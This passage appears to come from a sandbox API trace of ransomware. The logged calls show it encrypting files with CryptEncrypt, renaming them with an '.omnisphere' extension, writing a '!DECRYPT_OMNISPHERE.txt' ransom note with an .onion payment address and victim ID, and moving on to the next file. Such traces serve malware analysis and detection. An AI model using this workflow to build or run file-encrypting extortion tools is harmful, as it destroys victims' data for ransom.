pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.799] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.799] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.799] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.800] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.800] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.800] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.800] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.800] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.800] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.800] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.800] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.800] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.800] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.800] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.800] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.800] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.800] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.800] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.800] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.800] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.800] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.800] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.800] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.800] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.800] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.800] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.800] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.800] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.800] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.801] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.801] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.801] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.801] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.801] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.801] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.801] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.801] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.801] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.801] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.801] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.801] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.801] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.801] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.801] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.801] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.801] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0081.975] CryptDestroyKey (hKey=0x16395e8) returned 1 [0081.975] CryptReleaseContext (hProv=0x1668f00, dwFlags=0x0) returned 1 [0081.975] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x31000, lpNewFilePointer=0x0, dwMoveMethod=0x3e0dcbc | out: lpNewFilePointer=0x0) returned 1 [0081.975] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e0d770*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0dcd0, lpOverlapped=0x0 | out: lpBuffer=0x3e0d770*, lpNumberOfBytesWritten=0x3e0dcd0*=0x524, lpOverlapped=0x0) returned 1 [0081.975] GetProcessHeap () returned 0x1600000 [0081.975] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2a4) returned 0x16500d0 [0081.975] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\AccessCache.accdb" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\access\\accesscache.accdb"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\AccessCache.accdb.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\access\\accesscache.accdb.omnisphere")) returned 1 [0081.976] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\AccessCache.accdb.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\AccessCache.accdb.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\AccessCache.accdb.omnisphere.id" [0081.976] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\AccessCache.accdb.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\access\\accesscache.accdb.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0081.977] WriteFile (in: hFile=0x3a8, lpBuffer=0x3e0d770*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d758, lpOverlapped=0x0 | out: lpBuffer=0x3e0d770*, lpNumberOfBytesWritten=0x3e0d758*=0x524, lpOverlapped=0x0) returned 1 [0081.980] CloseHandle (hObject=0x3a8) returned 1 [0081.981] UnmapViewOfFile (lpBaseAddress=0x3450000) returned 1 [0081.983] CloseHandle (hObject=0x3a4) returned 1 [0081.983] SetEndOfFile (hFile=0x3a0) returned 1 [0081.983] FlushFileBuffers (hFile=0x3a0) returned 1 [0082.118] CloseHandle (hObject=0x3a0) returned 1 [0082.118] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\AccessCache.accdb" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access") returned 1 [0082.118] GetProcessHeap () returned 0x1600000 [0082.118] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16364b0 [0082.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0082.118] GetProcessHeap () returned 0x1600000 [0082.118] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x165f5d0 [0082.118] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x165f5d0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0082.119] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0082.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0082.119] GetProcessHeap () returned 0x1600000 [0082.119] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x162f5f0 [0082.119] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x162f5f0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0082.119] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0082.119] GetProcessHeap () returned 0x1600000 [0082.119] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa0) returned 0x1656238 [0082.119] PathCombineW (in: pszDest=0x1656238, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\!DECRYPT_OMNISPHERE.txt" [0082.119] GetProcessHeap () returned 0x1600000 [0082.119] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1660d38 [0082.119] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\access\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0082.121] WriteFile (in: hFile=0x3a0, lpBuffer=0x1660d38*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0dcf0, lpOverlapped=0x0 | out: lpBuffer=0x1660d38*, lpNumberOfBytesWritten=0x3e0dcf0*=0x588, lpOverlapped=0x0) returned 1 [0082.122] CloseHandle (hObject=0x3a0) returned 1 [0082.122] GetProcessHeap () returned 0x1600000 [0082.122] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16364b0 | out: hHeap=0x1600000) returned 1 [0082.123] GetProcessHeap () returned 0x1600000 [0082.123] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x96) returned 0x167b948 [0082.123] PathCombineW (in: pszDest=0x167b948, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\unique_decrypt.key" [0082.123] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\access\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0082.123] WriteFile (in: hFile=0x3a0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0dd04, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0dd04*=0x5a0, lpOverlapped=0x0) returned 1 [0082.124] CloseHandle (hObject=0x3a0) returned 1 [0082.124] GetProcessHeap () returned 0x1600000 [0082.125] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167b948 | out: hHeap=0x1600000) returned 1 [0082.125] GetProcessHeap () returned 0x1600000 [0082.125] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167bd08 | out: hHeap=0x1600000) returned 1 [0082.125] FindNextFileW (in: hFindFile=0x1639b68, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3387db8b, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x3387db8b, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x338a3dd1, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x0, dwReserved1=0xdb, cFileName="System.mdw", cAlternateFileName="")) returned 1 [0082.125] GetProcessHeap () returned 0x1600000 [0082.125] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x86) returned 0x1633408 [0082.125] PathCombineW (in: pszDest=0x1633408, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access", pszFile="System.mdw" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\System.mdw") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\System.mdw" [0082.125] StrStrW (lpFirst=".omnisphere", lpSrch=".mdw") returned 0x0 [0082.125] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\System.mdw" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\access\\system.mdw"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0082.125] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x3e0dcc8 | out: lpFileSize=0x3e0dcc8*=126976) returned 1 [0082.125] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x1eadc, lpNewFilePointer=0x0, dwMoveMethod=0x3e0dcbc | out: lpNewFilePointer=0x0) returned 1 [0082.125] ReadFile (in: hFile=0x3a0, lpBuffer=0x3e0d770, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0dcb8, lpOverlapped=0x0 | out: lpBuffer=0x3e0d770*, lpNumberOfBytesRead=0x3e0dcb8*=0x524, lpOverlapped=0x0) returned 1 [0082.127] GetTickCount () returned 0x1154bbb [0082.127] GetTickCount () returned 0x1154bbb [0082.127] GetTickCount () returned 0x1154bbb [0082.127] GetTickCount () returned 0x1154bbb [0082.127] GetTickCount () returned 0x1154bbb [0082.127] GetTickCount () returned 0x1154bbb [0082.127] GetTickCount () returned 0x1154bbb [0082.127] GetTickCount () returned 0x1154bbb [0082.127] GetTickCount () returned 0x1154bbb [0082.127] GetTickCount () returned 0x1154bbb [0082.127] GetTickCount () returned 0x1154bbb [0082.127] GetTickCount () returned 0x1154bbb [0082.127] GetTickCount () returned 0x1154bbb [0082.127] GetTickCount () returned 0x1154bbb [0082.127] GetTickCount () returned 0x1154bbb [0082.127] GetTickCount () returned 0x1154bbb [0082.127] GetTickCount () returned 0x1154bbb [0082.127] GetTickCount () returned 0x1154bbb [0082.127] GetTickCount () returned 0x1154bbb [0082.127] GetTickCount () returned 0x1154bbb [0082.127] GetTickCount () returned 0x1154bbb [0082.127] GetTickCount () returned 0x1154bbb [0082.128] GetTickCount () returned 0x1154bbb [0082.128] GetTickCount () returned 0x1154bbb [0082.128] GetTickCount () returned 0x1154bbb [0082.128] GetTickCount () returned 0x1154bbb [0082.128] GetTickCount () returned 0x1154bbb [0082.128] GetTickCount () returned 0x1154bbb [0082.128] GetTickCount () returned 0x1154bbb [0082.128] GetTickCount () returned 0x1154bbb [0082.128] GetTickCount () returned 0x1154bbb [0082.128] GetTickCount () returned 0x1154bbb [0082.128] CryptAcquireContextW (in: phProv=0x3e0d750, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d750*=0x1668ac0) returned 1 [0082.128] CryptImportKey (in: hProv=0x1668ac0, pbData=0x3e0d6b8, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d75c | out: phKey=0x3e0d75c*=0x1639ae8) returned 1 [0082.129] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0dc08*, pdwDataLen=0x3e0d74c*=0x75, dwBufLen=0x80 | out: pbData=0x3e0dc08*, pdwDataLen=0x3e0d74c*=0x80) returned 1 [0082.129] CryptDestroyKey (hKey=0x1639ae8) returned 1 [0082.129] CryptReleaseContext (hProv=0x1668ac0, dwFlags=0x0) returned 1 [0082.129] CreateFileMappingW (hFile=0x3a0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1f000, lpName=0x0) returned 0x28c [0082.129] MapViewOfFile (hFileMappingObject=0x28c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1f000) returned 0x3490000 [0082.369] CryptAcquireContextW (in: phProv=0x3e0d740, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d740*=0x1668ac0) returned 1 [0082.370] CryptImportKey (in: hProv=0x1668ac0, pbData=0x3e0d6f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d750 | out: phKey=0x3e0d750*=0x16396a8) returned 1 [0082.370] CryptSetKeyParam (hKey=0x16396a8, dwParam=0x4, pbData=0x3e0d734*=0x2, dwFlags=0x0) returned 1 [0082.370] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d73c*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d73c*=0x10) returned 1 [0082.370] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.370] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.370] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.370] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.370] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.370] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.370] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.370] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0082.370] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, 